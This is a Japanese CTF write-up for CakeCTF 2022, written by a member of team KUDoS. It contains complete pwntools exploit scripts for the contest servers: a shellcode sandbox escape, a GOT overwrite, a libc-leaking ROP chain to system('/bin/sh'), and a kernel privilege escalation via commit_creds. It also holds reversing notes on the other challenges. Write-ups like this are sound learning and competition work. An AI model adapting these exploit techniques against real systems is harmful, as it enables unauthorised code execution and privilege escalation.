CakeCTF2022 writeup

CakeCTF2022にKUDoSで参加して9位でした。
楽しさと悔しさと糸井重里

目次

misc

C-Sandbox

朝方に手をつけてかなり限界だったので何が禁止されているのかは調べてない。
とりあえずbring your own gadgetする。
flagからも第一の想定解だったと思う

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#!/usr/bin/python3
from pwn import *
import sys

#config
context(os='linux', arch='i386')
context.log_level = 'debug'

HOST = "misc.2022.cakectf.com"
PORT = 10099

conn = remote(HOST, PORT)

src = """
char binsh[] = "/bin/sh";
char **argv = {binsh, 0};
static void win()
{
unsigned long a= 0x9007eb00404038be;
unsigned long b= 0x9008eb00404030bf;
unsigned long c= 0x9090900aebd23148;
unsigned long d= 0x90050f3bb0c03148;
printf("%lx",a);
printf("%lx",b);
printf("%lx",c);
printf("%lx",d);
};
int main()
{
unsigned long ptr[2];
unsigned long tmp;
tmp = ptr[5] - 0x24083; // libc address(not used)
ptr[5] = (unsigned long)(win+10);
return 0;
}
EOF
"""
def exploit():
conn.sendlineafter("input)\n", src)
conn.recvuntil("Running...\n")
conn.interactive()

if __name__ == "__main__":
exploit()

discordでも解法大喜利始まってたので、まあ色々できるよね

rev

nimrev

eqString()の引数的にflagの長さは0x18
eqString()で呼ばれるequalMem_system_1735にbreakを仕掛けたら
gdbくんが教えてくれた

1
2
3
4
5
6
equalMem_system_1735 (
$rdi = 0x00007ffff7d55060 -> 'AAAABBBBCCCCDDDDAAAABBBB',
$rsi = 0x00007ffff7d560e0 -> 'CakeCTF{s0m3t1m3s_n0t_C}',
$rdx = 0x0000000000000018,
$rcx = 0x00007ffff7d55060 -> 'AAAABBBBCCCCDDDDAAAABBBB'
)

luau

lua問

https://github.com/viruscamp/luadec
↑でダメdecompileがうまくいかねぇ〜と思ってたら
https://sourceforge.net/projects/unluac/
@Lorse氏が違う方法での変換コードを貼ってくれたのでそれを元に進める

decode.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

unsigned char table[38] = {62,85,25,84,47,56,118,71,109,0,90,71,115,9,30,58,32,101,40,20,66,111,3,92,119,22,90,11,119,35,61,102,102,115,87,89,34,34};
unsigned char key[] = "CakeCTF 2022";
unsigned char flag[0x100] = {0};

void main()
{
int i;
for(i = 0; i < 38; i++){
flag[38-i-1] = key[i%strlen(key)] ^ table[i];
}
puts(flag);
}

zundamon

revパートだけ担当
source()内で/dev/input/以下の何かを入力として通信するタイプのマルウェアの問題
普通にgdbで実行するとデーモン化の処理でforkしている関係かうまくデバッグできないので
デーモン化する箇所をnopで書き換えてデバッグ

デバッグの結果/dev/input/event2が選択されていて、自分の環境でevent2はキーボードの入力だとわかった

キーボードの入力送っているわ〜ってdiscordに投げたら@Lorse氏からすぐflagが返ってきた

kiwi

ゴリ押しで暗号化処理を解読する。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/python3
from pwn import *
import sys

#config
context(os='linux', arch='i386')
context.log_level = 'debug'

HOST = "misc.2022.cakectf.com"
PORT = 10044

conn = remote(HOST, PORT)

def exploit():
size = 0x40
payload = "01f389fbd70c"
payload += "02"
payload += '%02x'%size
for i in range(size):
payload += '%02x'%(0xff^i)
payload += "00"
conn.sendlineafter(": ",payload)
conn.recvuntil("flag: ")
e_flag = conn.recvline()[:-1]
print(bytes.fromhex(str(e_flag,'utf-8')))
conn.interactive()

if __name__ == "__main__":
exploit()

pwn

str.vs.cstr

_c_strのoverflowで_strのポインタを書き換えAAWが作れる
__stack_chk_fail@gotをwinに書き換え

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#!/usr/bin/python3
from pwn import *
import sys

#import kmpwn
sys.path.append('/home/vagrant/kmpwn')
from kmpwn import *

#config
context(os='linux', arch='i386')
context.log_level = 'debug'

FILE_NAME = "./chall"
#"""
HOST = "pwn1.2022.cakectf.com"
PORT = 9003
"""
HOST = "localhost"
PORT = 7777
#"""

if len(sys.argv) > 1 and sys.argv[1] == 'r':
conn = remote(HOST, PORT)
else:
conn = process(FILE_NAME)

elf = ELF(FILE_NAME)
addr_win = 0x4016ee
got_stack_chk_fail = elf.got["__stack_chk_fail"]
only_ret = 0x40101a

def write_cstr(data):
conn.sendlineafter(": ", "1")
conn.sendlineafter(": ", data)

def read_cstr():
conn.sendlineafter(": ", "2")

def write_str(data):
conn.sendlineafter(": ", "3")
conn.sendlineafter(": ", data)

def read_str():
conn.sendlineafter(": ", "4")

def exploit():
payload = b"A"*0x20
payload += p64(got_stack_chk_fail)
payload += p64(0x8)
payload += p64(0x8)
write_cstr(payload)
write_str(p64(only_ret)[:3])

payload = b"\x00"*0x68
payload += p64(addr_win)
write_cstr(payload)

conn.sendlineafter(": ", "99")

conn.interactive()

if __name__ == "__main__":
exploit()

welkerme

ついにwarmupにカーネル問が
と思ったが本当に初歩的な問題で丁寧な誘導もあるので全然warmup向きの問題。

exploit.c(抜粋)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
static void priv_escalation() {
char* (*pkc)(int) = prepare_kernel_cred;
void (*cc)(char*) = commit_creds;
(*cc)((*pkc)(0));
}

int main(){
int fd = open("/dev/welkerme", O_RDWR);
if( fd < 0){
err_exit("fuck");
}
ioctl(fd, CMD_EXEC, priv_escalation);
system("/bin/sh");
return 0;
}

smal arey

AAWとstack領域を割と自由に書き換えれるので
exit@gotをpopx3_retみたいなgadgetにすると
いい感じにropに持ち込める

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#!/usr/bin/python3
from pwn import *
import sys

#import kmpwn
sys.path.append('/home/vagrant/kmpwn')
from kmpwn import *
# fsb(width, offset, data, padding, roop)
# sop()
# fake_file()

#config
context(os='linux', arch='i386')
context.log_level = 'debug'

FILE_NAME = "./chall"
#"""
HOST = "pwn1.2022.cakectf.com"
PORT = 9002
"""
HOST = "localhost"
PORT = 7777
#"""

if len(sys.argv) > 1 and sys.argv[1] == 'r':
conn = remote(HOST, PORT)
else:
conn = process(FILE_NAME)

elf = ELF(FILE_NAME)
got_exit = elf.got["exit"]
got_setbuf = elf.got["setbuf"]
plt_printf = elf.plt["printf"]
addr_start = elf.symbols["_start"]
rdi_ret = 0x004013e3
pop3_ret = 0x004013de
only_ret = 0x4013e4

#
libc = ELF('./libc-2.31.so')
off_setbuf = libc.symbols["setbuf"]
off_system = libc.symbols["system"]
off_binsh = next(libc.search(b"/bin/sh"))

def overwrite(idx, n):
conn.sendlineafter(": ", str(idx))
conn.sendlineafter(": ", str(n))


def exploit():
conn.sendlineafter(": ", "5")
overwrite(4,200)
overwrite(0,only_ret)
overwrite(1,only_ret)
overwrite(2,only_ret)
overwrite(3,pop3_ret)
#overwrite(4,size)
#overwrite(5,n)
#overwrite(6,arr)
overwrite(7,only_ret)
overwrite(8,rdi_ret)
overwrite(9,got_setbuf)
overwrite(10,plt_printf)
overwrite(11,addr_start)

overwrite(6,got_exit)
overwrite(0,rdi_ret)
conn.sendlineafter(": ", "201")

libc_setbuf = align2qword(conn.recv(6))
libc_base = libc_setbuf - off_setbuf
print(hex(libc_base))

conn.sendlineafter(": ", "5")
overwrite(4,200)
overwrite(0,rdi_ret)
overwrite(1,libc_base+off_binsh)
overwrite(2,libc_base+off_system)
conn.sendlineafter(": ", "201")

conn.interactive()

if __name__ == "__main__":
exploit()

crc32pwn

解けなかった。
ulimitとか/proc/系のファイルでどうにかするのか〜とか疑ってたけど全然違った。
readがst_size分指定しないのかなり怪しいな〜とは思ってたが知識不足って感じ。
反省

おまけ

いつまで経っても脱初心者〜中堅帯を脱出できてなく、かつソロチーム、他の日本勢に結構負けてるのがマジでだめ
がんばります
thanks 一緒に参加してくれたチームメイト
@Lorse @ta1yak1 @k1zuna

KUDoSハイライト

同じ問題解いてて、なぜかチーム内で競走してた図